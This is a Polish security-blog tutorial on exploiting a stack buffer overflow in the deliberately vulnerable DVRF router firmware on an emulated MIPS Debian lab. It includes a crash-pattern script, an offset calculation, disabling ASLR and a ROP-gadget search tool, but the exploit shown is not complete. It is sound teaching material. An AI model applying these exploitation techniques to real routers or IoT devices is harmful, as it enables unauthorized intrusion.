-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Bezpieczeństwo MIPS – ostatnie starcie

10 czerwca 2020, 20:41 | Teksty | komentarze 2

Warto żebyś przed przeczytaniem tekstu zerknął na nasze lekcje w temacie bezpieczeństwa MIPSa:

Pamiętaj też żebyś zdobytą tutaj wiedzę wykorzystał tylko w sposób legalny oraz etyczny.

Jest jakiś środek tygodnia, godzina 23.30. Siedzę z kubkiem herbaty wpatrując się w ekrany monitorów. Mój skrypt w Pythonie, który zbiera coś z Internetu nagle przestaje działać. Cóż, problem trzeba jakoś rozwiązać. W zasadzie możliwości są dwie: albo jest to skutek zmęczenia materiału w postaci jakiegoś niezamówionego buga w kodzie albo… Internet, a raczej jego brak. Po sprawdzeniu kodu oraz połączenia z siecią lokalną spoglądam na stojący w rogu router.

Czarne, wykonane z tworzywa amorficznego pudełko o wymiarach 15x73x73 milimetra. W środku układ scalony, plastik, parę śrub, diagnostyczne mrugenlampy. No i zapewne jakiś RISC-owy procesor. A jeśli RISC, to najprawdopodobniej siedzi tam też MIPS.

Ech, ten MIPS.

Pierwszoplanowy aktor niniejszej publikacji, silnik dla tak wielu urządzeń, z których korzystasz na co dzień, choć możesz nawet o tym nie wiedzieć. Z uwagi na to, że architektura ta w systemach wbudowanych jest całkiem szeroko stosowana warto przyjrzeć się jej z bliska – tym bardziej jeśli chcesz rozpocząć swoją przygodę z omijaniem zabezpieczeń w systemach IoT. Poza tym zarówno MIPS, jak i ARM nie są tak szczegółowo omówione jak architektura x86, co pozwala nam badaczom na większy fun z odkrywania oraz dokumentowania coraz to „nowych kwiatków” żyjących gdzieś tam w otchłani kodu niepozornie wyglądających minimaszyn..

Może kiedyś chciałeś zaatakować jakiegoś assembly pod kątem sec, ale nie wiedziałeś od czego rozpocząć/co badać – x86, ARM, MIPS? Toteż szczerze polecam Tobie właśnie MIPS-a czy ARM-a – według mnie są prostsze od x86 i jak już ogarniesz, o co chodzi, to z innymi architekturami pójdzie znacznie łatwiej.

Zatem bardzo chciałbym Ciebie zaprosić do wyjęcia paru godzin z życia i mega absorbującej zabawy z godnym przeciwnikiem.

No to jedziemy.

Wymagania

Podczas badań oraz wszystkich konfiguracji będę wykorzystywał system operacyjny Debian emulowany za pomocą qemu.

Na wstępie dobrze jest znać wymagania, aby zrozumieć rzeczy przedstawiane w tym artykule:

  • Dobrze by było, jakbyś umiał trochę programować, ponieważ będziesz tworzyć swoje własne narzędzia, które usprawnią Twoją pracę.
  • Fajnie też, jakbyś już miał jakieś pojęcie o assembly. Będziemy poruszali niektóre kwestie bardzo przydatne w inżynierii wstecznej pod kątem security.
  • Umiesz Linuksa chociaż na podstawowym poziomie. Będziemy poruszali się na tym systemie operacyjnym.
  • Będziesz potrzebował czasu, swojej głowy, chęci rozwiązywania zagadek, dociekliwości oraz umiejętności szybkiego niezniechęcania się.

Reverse engineering pozytywnie wciąga, a z drugiej strony potrafi nieźle sponiewierać, spędzisz trochę czasu w klatce sam na sam z debuggerem. Dasz radę, tylko pamiętaj – to jest gra dla wytrwałych.

Laboratorium

Przed przystąpieniem do budowania swojej piaskownicy-laboratorium opartej na emulatorze qemu – chciałbym zwrócić Ci uwagę na przykłady istniejących/tworzonych alternatyw (dla odmiany sprzętowych), które też mogą posłużyć w różnych projektach badawczych opartych na naszej architekturze:

– Router – np. LinkSys WRT54*. Były podejmowane takie próby chociażby taka jak ta. Linksys + debian.

– Platformy, minikomputery – np. MIPS Creator CI20. A to nawet całkiem ciekawy projekt. Jest to taki “Raspberry PI dla architektury MIPS”.

Są to tylko opcje sprzętowe, o których dobrze jest wiedzieć, może będzie okazja po nie sięgnąć w przyszłości. Jeśli chodzi o minusy takich zastosowań – taki hardware ma dość ograniczoną wydajność pamięci oraz CPU i trzeba mieć to na uwadze.

QEMU

Nasze środowisko testowe oparte będzie o emulator qemu. Emulację za pomocą qemu można przeprowadzać na dwa sposoby. Możesz emulować badaną binarkę albo emulować cały system operacyjny, na którym będziesz robił swój research.

W artykule przedstawiłem ten drugi sposób z emulowanym systemem, gdyż w mojej ocenie jest on nieco wygodniejszy w dłuższej perspektywie, ale za to na samym początku będziesz musiał poświęcić trochę więcej czasu na jego konfigurację.

Konfiguracja będzie się różniła nieco od tej tutaj, dlatego podejdziemy do tematu ponownie.

W pierwszej kolejności musisz zaznajomić się z tą publikacją.

Jest tam cały proces instalacji Debiana zarówno dla MIPS’a jak i MIPSel’a. Dojeżdżasz do momentu, w którym masz już zainstalowany system operacyjny i możesz odpalić go bez błędów (pojawiający się błąd – end Kernel panic – not syncing: VFS: Unable to mount root fs on unknown-block(0,0) – jest tam rozwiązany). Pamiętaj również o zaznaczeniu serwera SSH do instalacji. Więcej doczytasz w punkcie Uzupełnienie rozdziału QEMU – tipy”.

Teraz pora na połączenie z siecią. Olewamy ustawienia zaproponowane w publikacji…

-net user,hostfwd=tcp:127.0.0.1:${SSH_PORT}-:22,hostfwd=tcp:127.0.0.1:${EXTRA_PORT}-:4444 \

Jest to fragment skryptu start.sh” rozpoczynającego emulację Debiana na architekturze MIPSel. Publikacja Building a Debian Stretch (9) QEMU image running MIPSel”

…ponieważ pójdziemy o krok dalej i skonfigurujemy emulowanego Debiana w taki sposób, aby miał on dostęp do Internetu. W tym celu będziesz musiał dodać sobie w pierwszej kolejności interfejs sieciowy na Twoim nieemulowanym systemie:

local@ ~# groupadd -r tuntap

local@ ~# usermod -a -G tuntap hawk # zamiast hawk” wstaw Twoją nazwę użytkownika

Stworzenie grupy tuntap” oraz dodanie do niej użytkownika do późniejszej konfiguracji interfejsów sieciowych.

Plik z interfejsami sieciowymi:

source /etc/network/interfaces.d/*

# The loopback network interface

auto lo

iface lo inet loopback

 

auto eth0

iface eth0 inet dhcp

 

iface br0 inet dhcp

pre-up tunctl -t tap0 -g tuntap

pre-up tunctl -t tap1 -g tuntap

pre-up ip link set tap0 up

pre-up ip link set tap1 up

bridge_ports enp4s0 tap0 tap1

bridge_stp off

bridge_maxwait 0

bridge_fd 0

post-down ip link set tap0 down

post-down ip link set tap1 down

post-down tunctl -d tap0

post-down tunctl -d tap1

Plik konfiguracyjny /etc/network/interfaces” na lokalnym Linuksie – nie emulowanym Debianie.

Pora na aktualizację naszego skryptu, który będzie uruchamiał qemu z prawidłowo ustawioną siecią:

#!/bin/bash

KERNEL=./vmlinux-4.9.0-9-4kc-malta

INITRD=./initrd.img-4.9.0-9-4kc-malta

HDD=./disk.qcow2

 

qemu-system-mipsel -M malta -m 512 \

-kernel ${KERNEL} \

-initrd ${INITRD} \

-hda ${HDD} \

-netdev user,id=vmnic,hostfwd=tcp:127.0.0.1:1122-:22 -device e1000,netdev=vmnic \

-net nic -net tap,ifname=tap0,script=no \

-display none -vga none -nographic \

-append 'nokaslr root=/dev/sda1 console=ttyS0′

Finalny skrypt uruchamiający emulowanego Debiana za pomocą qemu

Rozłączamy się ze swoją siecią lokalną, a następnie podnosimy interfejs br0 oraz uruchamiamy nasz nowy system:

 

local@ ~# ifup br0

local@ ~# chmod +x run.sh && ./run.sh

Podniesienie interfejsu br0” na maszynie lokalnej, a następnie uruchomienie emulowanego Debiana za pomocą skryptu powyżej

Sprawdzamy teraz połączenie typu bridge” logując się (przez SSH) na emulowanym Debianie:

ssh -p 1122 hawk@localhost

mipsel@ ~$ ping google.com

Już na emulowanym Debianie – sprawdzenie połączenia z Internetem

Stoi.

Uzupełnienie rozdziału QEMU – tipy

W procesie budowania swojego środowiska za pomocą qemu warto, abyś zwrócił także uwagę na pewne rzeczy (czasem oczywiste):

  1. Wersja systemu

Linki do emulowanego Debiana (initrd, kernel) mogą już nie działać, dlatego najnowszy system możesz znaleźć tutaj.

  1. Problem z /dev:

Podczas wykonywania kroku:

local@ ~$ sudo mount /dev/nbd0p1 mnt

Zamontowanie dysku qemu” za pomocą Network Block Device

może pojawić się jeden z następujących problemów:

mount: urządzenie specjalne /dev/nbd0p1 nie istnieje” czy mount: special device /dev/nbd0p1 does not exist”.

Wtedy należy wykonać: partx -a /dev/nbd0″ (wyjaśnienie znajdziesz tutaj).

  1. Pliki konfiguracyjne

Poniżej zamieszczam Tobie pliki konfiguracyjne, jeśli dalej miałbyś jakieś problemy lub wątpliwości co do konfiguracji swojej sieci (/etc/network/interfaces).

auto lo

iface lo inet loopback

auto enp0s18

iface enp0s18 inet dhcp

Plik konfiguracyjny /etc/network/interfaces” na już emulowanym Debianie

Skąd wzięliśmy nazwę interfejsu enp0s18″? Z debuga:

mipsel@ ~# dmesg all

[ 2.023287] e1000 0000:00:12.0 enp0s18: renamed from eth0

Szukamy interfejsu sieciowego na emulowanym Debianie

Plik /etc/resolv.conf”:

nameserver 10.0.2.3

Plik „/etc/resolv.conf” na emulowanym Debianie

Plik /etc/hosts”:

127.0.0.1 localhost

127.0.1.1 mipsel-sandbox

# The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

Plik /etc/hosts” na emulowanym Debianie

Uff, tyle o qemu. Z pewnością niektóre opisane rzeczy są trywialne, tym niemniej bardzo chciałem zaoszczędzić Tobie cennego czasu (bo w publikacji chodzi nam bardziej o skupienie się na MIPSie), a dodatkowo przygotować elastycznie środowisko do naszej dalszej zabawy.

Już na emulowanym Debianie

Do kompletu brakuje nam jeszcze zainstalowanego debuggera gdb z wkompilowanym Pythonem. Z pewnością przyda Ci się plugin o nazwie gef, który jest bardzo pomocny podczas dalszych badań.

Proces emulacji aplikacji IoT w teorii

Mam rozumieć, że przeszedłeś 4 lekcje MIPSa, ciągle jeszcze żyjesz i nawet dalej Cię to jara w jakiś sposób. No to mega, teraz będzie tylko ciekawiej ;>

Właśnie zetknąłeś się z kolejnym, *dość ważnym* zagadnieniem, w który należałoby się zagłębić jeśli dalej jesteś zainteresowany eksploracją tematów związanych z security dla IoT. Zatrzymajmy się tutaj na moment.

Aby szukać błędów (luk bezpieczeństwa) w oprogramowaniu IoT fajnie byłoby mieć w pierwszej kolejności dostęp do takiej binarki ;) – z tym nie ma większego problemu –  oczywiście jeśli chodzi o niektóre klasy sprzętu.

Weźmy sobie teraz taki przykład na warsztat: dział wsparcia dla wszelkiej maści routerów na stronach producentów obfituje w spakowane oraz gotowe do aktualizacji oprogramowanie. Mając taki soft możemy już zrobić całkiem sporo pomimo tego, że nie posiadamy fizycznie urządzenia. To oprogramowanie (firmware) dostępne dla użytkowników na stronie jest najczęściej spakowanym obrazem całego systemu (np. taki mały linux :) wraz ze wszystkimi usługami, które są uruchamiane przy starcie urządzenia.

Generalnie taki firmware jest pobierany przez użytkowników aby dokonać aktualizacji eliminując wcześniej zdiagnozowane błędy natomiast haxom dostarcza wielu godzin rozrywki i wiedzy podczas poszukania luk. For fun and profit ma się rozumieć.

Taki firmware się pobiera i się rozpakowuje. Można go w większości przypadków bardzo łatwo rozpakować za pomocą programu Binwalk. Zazwyczaj jest to obraz małego systemu operacyjnego jak już wspomniałem. 

Okej, powiedzmy, że rozpakowałeś już sobie taki firmware i znalazłeś tam serwer http, który będziesz chciał teraz przetestować. Poza analizą statyczną (tylko) mamy do wyboru co najmniej dwie możliwości, które posiadają swoje wady jak i zalety:

  1. Analiza dynamiczna

Uruchamiasz taką binarkę, podpinasz debugger, wysyłasz dane programu i analizujesz jego zachowanie. Pełny komfort pracy.

Uruchomienie takiej aplikacji czasami jest jak tresura lwa w cyrku. Nie jest ona rzeczą prostą. Takie aplikacje często korzystają z zasobów, które nie są w stanie być emulowane za pomocą np. qemu. Trzeba im niekiedy zapewnić/spreparować odpowiednie pliki konfiguracyjne, z których pobierają potrzebne im parametry. Niektóre binarki potrzebują także uruchomionych innych serwisów do działania (tak jest w przypadku niektórych TP-Linków klasy Archer).

Mało? No to jeszcze dorzućmy crashe qemu przy breakpointach czy mechanizmy wykrywające debug gdzie po takim wykryciu kończy się nasza zabawa. Rozmawiałem niedawno z pewnym researcherem, który do poprawnej emulacji potrzebował skompilować sobie nowe jajko.

Na koniec mały tip: jeśli nie działa Ci z jakiegoś powodu qemu i chcesz to już wszystko rzucić – proponuję skompilować sobie wersję < 4. Starsze działają czasem bardziej stabilniej :>

Pomimo tych wszystkich niedogodności dynamiczna analiza jest możliwa chociaż nie z każdym firmware. Udowadnia to właśnie chociażby research błędu sklasyfikowanego numerem CVE-2020-8423 czy tutorial Azerii, która pokazała jak uruchomić cały firmware routera firmy Tenda (zbudowanego na architekturze ARM).

  1. Analiza symboliczna

Jest to analiza przeprowadzana bez uruchamiania badanego softu (!!!) jednakże pozwalająca na prześledzenie działania programu na pewnym, wybranym jego wycinku – np. od otrzymania danych aż do funkcji, którą chcemy zbadać.

Grzesiek Wypych w swojej mega prezentacji pokazuje dokładnie jak to można zrobić.

Dzisiaj skupiamy się na eksploitacji pewnej klasy błędów dlatego emulacja sprowadzona jest przez nas do minimum – odpalimy sobie prosty kawałek testowego kodu.

Chciałem Ci jednak przybliżyć pewne dość istotne problemy, z którymi możesz się spotkać wchodząc głębiej w temat. Nie ma się jednak czego obawiać – trzeba być wytrwałym ;)

Eksploitacja błędów typu Buffer Overflow

Wreszcie nadszedł czas pobrudzić sobie ręce. Spróbujemy teraz zmusić nasz program do zrobienia czegoś, do czego nie został przeznaczony.

W tym miejscu mam dobrą i złą wiadomość dla Ciebie. Zła to taka, że dopiero co rozpoczynamy rozpoznanie oraz wykorzystywanie tej klasy podatności w architekturze MIPS, dlatego też podczas eksploitacji nie będzie żadnych pobocznych problemów, utrudnień do rozwiązania – będzie to klasyczny atak typu Buffer Overflow bez przeszkód.

Dobra wiadomość jest taka, że poznamy jednak pewien ciekawy mechanizm, który będziemy musieli jakoś obejść ;>

Nasz plan działania na chwilę obecną:

– Poznamy, co to jest cache coherence w architekturze MIPS i jak to ominąć.

– Powęszymy trochę w pamięci pisząc do tego swoje narzędzie.

– Złożymy wszystkie informacje, które mamy i na tej podstawie skonstruujemy eksploita.

Buffer Overflow jest typem podatności, w którym najprościej mówiąc nadpisujemy adres powrotu, aby skoczyć w miejsce w pamięci, gdzie znajduje się nasz shellcode do wykonania. Trzeba jednak pamiętać, że dla konkretnej wybranej architektury mogą występować pewne mechanizmy, które uniemożliwiają przeprowadzenie ataku z sukcesem – tak jest właśnie z MIPSem.

Cache Coherence

Wyobraź sobie, że MIPS oprócz pamięci głównej obsługuje także dwa rodzaje pamięci cache:

– instruction cache – przechowuje instrukcje programu,

– data cache – przechowuje dane programu.

Te dwa rodzaje pamięci cache zostały zaprojektowane po to, aby program miał jeszcze szybszy dostęp do danych. Z uwagi na to, że są od siebie odseparowane wymiana wartości pomiędzy instruction cache oraz data cache przebiega przez synchronizację z główną pamięcią programu – odczyt i zapis następuje asynchronicznie.

Musisz wiedzieć, że shellcode, który przekazujemy podczas eksploitacji trafia właśnie do data cache zamiast do głównej pamięci. Dane te zostają odłożone do synchronizacji na później. Aby nasz payload został wykonany – musi on trafić najpierw do pamięci głównej, a następnie do instruction cache. Niestety procesor nie rozpoznaje przesłanego payloadu jako instrukcji do wykonania, zatem synchronizacja z główną pamięcią programu nie zachodzi.

Nadpisując adres powrotu rzeczywiście zmusimy procesor, aby skoczył w miejsce, gdzie znajduje się przesłany shellcode. Procesor stwierdzi jednak, że są to dane i zamiast naszego kodu wykona instrukcje zawarte w instruction cache.

Musimy w jakiś sposób zainicjować proces synchronizacji danych pomiędzy obydwoma cache (data cache i instruction cache) tak, aby shellcode znalazł się w instruction cache i został wykonany prawidłowo.

Najprostszym rozwiązaniem będzie wywołanie funkcji sleep() przed skokiem do zmodyfikowanego adresu powrotu. Plan więc będzie wyglądał następująco:

  1. zapisujemy parametr funkcji wartością, np. 1,
  2. wywołujemy funkcję sleep(),
  3. skaczemy do shellcode.

Plan gry

Piaskownica

Rozpocznijmy najpierw od binarki, na której przeprowadzimy swój research. Na sam początek – szczególnie jeśli dopiero wchodzisz w temat – polecam taki projekt jak DVRF” – Damn Vulnerable Router Firmware.Jest to specjalnie przygotowany firmware przeznaczony do treningu różnych klas ataków oraz zapoznania się bliżej z badaną architekturą.

Będziemy potrzebowali jeszcze takiego narzędzia o nazwie Binwalk. Tool ten jest używany do analizy badanego firmware. Binwalk pomoże nam rozpakować DVRF do struktury plików systemowych.

Jeśli mamy na pokładzie DVRF i Binwalka to jedziemy:

~DVRF/Firmware$ binwalk -e DVRF_v03.bin

Okej. Binwalk rozpakował nam firmware i utworzył strukturę plików dla niego. Będziemy pracować na aplikacji zwanej DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof/socket_bof, którą przerzucimy do emulowanego Debiana za pomocą np. programu scp (teraz zacznie się nasz research już na emulowanym Debianie – do niektórych operacji będzie potrzebne konto superużytkownika, tak więc spokojnie możesz zalogować się na roota i z tego poziomu sobie działać):

~DVRF/Firmware$ scp -P 1122 _DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof hawk@localhost:~/

Już na emulowanym Debianie sprawdzamy teraz jakie biblioteki są używane do działania badanego programu. Brakujące biblioteki musisz przesłać z DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/lib do katalogu /lib.

mipsel@ ~# ldd socket_bof

linux-vdso.so.1 (0x77fa6000)

libgcc_s.so.1 => /lib/mipsel-linux-gnu/libgcc_s.so.1 (0x77f3e000)

libc.so.0 => /lib/libc.so.0 (0x77ebe000)

libc.so.6 => /lib/mipsel-linux-gnu/libc.so.6 (0x77d3a000)

/lib/ld-uClibc.so.0 => /lib/ld.so.1 (0x77f75000)

Jeśli wszystko zrobiłeś poprawnie, powinieneś uruchomić socket_bof bez żadnych błędów:

mipsel@ ~# ./DVRF/pwnable/ShellCode_Required/socket_bof 1337

Binding to port 1337

Uruchomienie programu w gdb

Wyłączamy mechanizm ASLR (Address Space Layout Randomization – mechanizm randomizacji adresów) na naszej maszynie – w tej publikacji nie będziemy się tym tematem zajmować.

mipsel@ ~# echo 0 > /proc/sys/kernel/randomize_va_space

Jeszcze przed przystąpieniem do debugu pobierz sobie bardzo prosty skrypt (pattern.py), który będzie przydatny do obliczania offsetów podczas budowania naszego eksploita.

No to mamy już wszystko, czego na daną chwilę potrzebujemy. Odpalamy gdb i działamy:

mipsel@ ~# gdb /DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof/socket_bof

gef➤ run 1337

Nasza aplikacja nasłuchuje na porcie 1337 (TCP). Zbudujmy sobie zatem mikro skrypt, który posłuży nam do wysłania pewnego ciągu znaków, a my w tym czasie skupimy się nad debugiem. Zwróć uwagę na to, że nie jest to zwyczajny ciąg znaków – każde dwa bajty tego ciągu (tak zwanego de bruin”) są unikalne. Taki układ pomoże nam szybko znaleźć odpowiedni offset do nadpisanego adresu powrotu:

import struct, string, socket

def payload():
       return 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A'



client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

ip=socket.gethostbyname("127.0.0.1")

port=1337

address=(ip,port)

client.connect(address)

print("[+] sending..")


p = payload()



client.send(p)

data = client.recv(1024)

print(data)

skrypt zniszczenia

Powyższy skrypt jest napisany w tzw. czystym” pythonie. Dobrze jest jednak pamiętać, że istnieją biblioteki, które wspomagają proces exploit development” aby był on łatwiejszy do przeprowadzenia przez badacza. Jedną z najpopularniejszych bibliotek jest pwntools, którą szczerze Tobie polecam i zachęcam do tego, abyś powyższy kod spróbował napisać używając wspomnianej biblioteki.

Wracając do tematu – coś się tutaj wydarzyło:

Coś się tutaj wydarzyło

Gratuluję – zepsułeś apkę. W zasadzie pół drogi już za Tobą (te mniejsze pół ;>), teraz skupimy się na tym, aby prawidłowo wyeksploitować ten błąd. Pamiętasz nasz game plan z poprzedniego rozdziału? Rozłożymy go teraz na czynniki pierwsze rozpoczynając od wysokiego poziomu abstrakcji tak aby zrozumieć mechanizmy oraz techniki, które ułatwią nam osiągnięcie celu.

Na obrazku zamieszczonym powyżej o nazwie Coś się tutaj wydarzyło” możesz zaobserwować, że adres rejestru $ra został nadpisany przez wartość Ab7A”, która znajduje się w przesłanym ciągu znaków do programu. W skrypcie powyżej możesz zobaczyć, że wartość ta jest poprzedzona ciągiem znaków „Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6” w liczbie 51. Jest to właśnie nasz offset potrzebny do tego aby nadpisać rejestr $ra wybranym adresem.

Jak można wygenerować taki długi „de bruin”? Prosto. Mamy sobie taki skrypt w Pythonie za pomocą którego generujemy payload dobierając liczbę znaków do momentu spowodowania błędu:

mipsel@ ~# python pattern.py 500

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Zmodyfikuj teraz funkcję payload()” w naszym skrypcie (skrypt zagłady”) w ten sposób aby zwracała dane zaprezentowane poniżej na obrazku:

Konstrukcja payloadu – część 1. Kod w języku python.

Konstrukcja payloadu – część 1. Kod w języku python.

Od tego momentu będziemy się koncentrowali na dwóch rzeczach: 

  • Budowie stosu

Zbudujemy swój stos w programie w oparciu o odpowiednio spreparowane dane przesłane z exploita do programu. Będzie to nasz tak zwany payload”.

  • Budowie tzw. ROP Chain

Zlokalizujemy a później doprowadzimy do wywołania tzw. ROP Gadgety, które zostaną wykonane przed uruchomieniem shellcode. 

Do przeprowadzenia ataku na aplikację posłużymy się bardzo ciekawą techniką zwaną ROP (Return Oriented Programming), w którym kluczową rolę pełni budowa tzw. ROP Chain. Atakujący po przejęciu kontroli nad programem wskazuje precyzyjnie które kawałki kodu assembly z wybranych wcześniej funkcji (zwane ROP gadgetami) ów program ma wykonać aby doprowadzić do odpalenia przesłanego shellcode. Po wykonaniu takiego ROP gadgetu program “wraca” na czubek stosu po to aby wykonać skok pod adres kolejnego. ROP gadgety wykonują pewne konkretne operacje w ściśle ustalonej kolejności i tworzą tak zwany ROP Chain. 

Technika „Return Oriented Programming” jest używana do eksploitacji mipsowych binarek z pewnych, konkretnych powodów. Pierwszy to taki, że architektura RISC wymusza przekazywanie parametrów do funkcji za pomocą rejestrów. Drugi powód to konieczność obejścia wspomnianego wcześniej mechanizmu „Cache Coherence”. Te ograniczenia uniemożliwiają nam bezpośredni skok pod przesłany shellcode dlatego stworzyliśmy nasz Plan Gry (który został wspomniany w ramce powyżej), który pozwoli nam je ominąć.

Do każdego punktu z wyżej wspomnianego planu zastosujemy konkretny ROP gadget – kawałek kodu assembly, który wykona opisaną operację. Dopiero po wykonaniu wszystkich ROP gadgetów będzie mógł zostać wykonany skok do shellcode w pamięci. To będzie właśnie nasz ROP Chain.

Metody szukania gadgetów do eksploitacji

Można powiedzieć, że jest to proces, który może doprowadzić człowieka do skrajnego załamania nerwowego, jeśli się podejdzie do tematu w niewłaściwy sposób, ale po kolei.

Pamiętasz biblioteki, które były wymagane do działania programu? To właśnie w nich się kryją funkcje, których kod wykorzystujemy do budowy naszych eksploitów. Trudność polega na lokalizacji omawianego kodu w załączonych bibliotekach. Oczywiście, jeśli przeprowadzasz swoje badania za pomocą disassemblera IDA, to masz do dyspozycji już stworzony plugin, który szuka takich kodów za Ciebie.

Tak na prawdę nie musisz wcale używać pluginu z IDA do poszukiwania gadgetów. Zachęcam Cię bardzo do zapoznania się z takimi projektami jak ROPgadget czy inspirowany nim Ropper, które działają w podobny sposób.

W tym miejscu może nasunąć się pytanie skąd pochodzą ROP gadgety. Jest to zależne od tego czy podczas kompilacji programu zostało użyte linkowanie statyczne czy dynamiczne. Jeśli program został zlinkowany statycznie – należy poszukiwać gadgetów w badanej binarce. Jeśli jednak zostało użyte linkowanie dynamiczne – można szukać gadgetów w bibliotekach, z których korzysta program. Możesz je sprawdzić w konsoli za pomocą polecenia „ldd socket_bof”.

P.S. Wiedziałeś, że gdb ma API dla języka Python? ;) Jeśli masz trochę czasu to w ramach ciekawostki możemy napisać sobie takiego naszego mini poszukiwacza gadgetów!

Pamiętaj tylko, aby zainstalować sobie gdb ze wsparciem dla Pythona (flaga –with-python przy kompilacji). Tutaj masz link do mini-narzędzia, które parsując załadowane biblioteki do procesu pozwoli na odszukanie kodu otagowanego jako gadget numer 3 wyżej w tej publikacji. Akurat wspomniany kod wybrałem z uwagi na trudność jego wyszukania przynajmniej dla mnie.

Pobieramy i działamy. Najlepiej będzie, jeśli zrobimy to na dwóch terminalach:

terminal #1

mipsel@ ~# echo 0 > /proc/sys/kernel/randomize_va_space

mipsel@ ~# ./DVRF/pwnable/ShellCode_Required/socket_bof 1337

Uruchomiliśmy naszą rozpakowaną wcześniej binarkę.

terminal #2

mipsel@ ~# ps aux | grep socket_bof

root 652 0.0 0.1 1020 368 pts/0 t+ 16:06 0:00 ./DVRF/pwnable/ShellCode_Required/socket_bof 1337

root 696 0.0 0.8 4696 2144 pts/1 S+ 16:17 0:00 grep socket_bo

Znaleźliśmy PID procesu aplikacji socket_bof, pod który zaraz się podepniemy.

mipsel@ ~# gdb

gef➤ attach 652

gef➤ source jinx.py

gef➤ jx

____________ Jinx ____________

 

usage: jx <option> ..

gef➤ jx mips-tail

+updwtmp found !!!!11111..

[’move t9,s1′]

[’lw ra,36(sp)’, 'lw ra,36(sp)’]

jr t9

+xdr_callhdr found !!!!11111.. # <<< nasza funkcja!!!!!!!!

[’move t9,s2′, 'move t9,s2′, 'move t9,s2′]

[’lw ra,36(sp)’, 'lw ra,36(sp)’]

jr t9

+xdr_rejected_reply found !!!!11111..

[’move t9,s2′]

[’lw ra,36(sp)’, 'lw ra,36(sp)’]

jr t9

+xdr_accepted_reply found !!!!11111..

[’move t9,s2′]

[’lw ra,36(sp)’, 'lw ra,36(sp)’, 'lw ra,36(sp)’, 'lw ra,36(sp)’]

jr t9

Jeśli wszystko poszło zgodnie z planem, powinieneś zobaczyć wyniki podobne do tych powyżej. Polecenie source” ładuje skrypt do gdb, zaś jx” to polecenie, które ten skrypt wywołuje.

Kod funkcji, który dalej używany jest do zmontowania eksploita rzeczywiście został znaleziony (xdr_callhdr – tak, to jest funkcja z gadgetu numer 3 przedstawionego w dalszej części publikacji). Sprawdźmy, czy rzeczywiście nie ma lipy:

gef➤ disassemble xdr_callhdr

0x77f0af1c <+176>: move t9,s2

0x77f0af20 <+180>: lw ra,36(sp)

0x77f0af24 <+184>: lw s2,32(sp)

0x77f0af28 <+188>: lw s1,28(sp)

0x77f0af2c <+192>: lw s0,24(sp)

0x77f0af30 <+196>: jr t9

Ok, teraz parę słów odnośnie samego kodu. Mamy sobie główną klasę Jinx”, w której jest uruchamiany konstruktor __init__ z istotnymi parametrami, w tym ciągiem znaków, który wywołuje skrypt – w naszym przypadku jest to jx”.

Następnie wywoływana jest funkcja invoke(), w której dalej rzeźbimy. W Jinx zrobiłem to najprościej jak się da. Za pomocą biblioteki gdb wykonałem polecenie info functions” (które możesz równie dobrze wpisać i uruchomić w konsoli gdb), które zwróciło mi listę nazw wszystkich załadowanych funkcji do programu.

Ostatnią istotną operacją, którą zawarłem w skrypcie jest parsowanie każdej z funkcji i szukanie wybranego przeze mnie wzorca – w tym wypadku kodu, gdzie rejestr $ra jest wypełniany zapisanym adresem z pamięci, a skok następuje do adresu umieszczonego w innym rejestrze niż $ra – dla przykładu $t9, który także jest wcześniej modyfikowany.

Naturalnie, podejść do szukania gadgetów jest pewnie więcej, a algorytm Jinx’a na pewno do idealnych nie należy. Super byłoby w przyszłości rozwinąć tego typu narzędzie, które mogłoby lokalizować inne potrzebne gadgety. Pośród funkcji xdr_callhdr zwrócił mi sporo błędnych wyników, ale w dość prosty sposób znalazłem to, czego potrzebowałem.

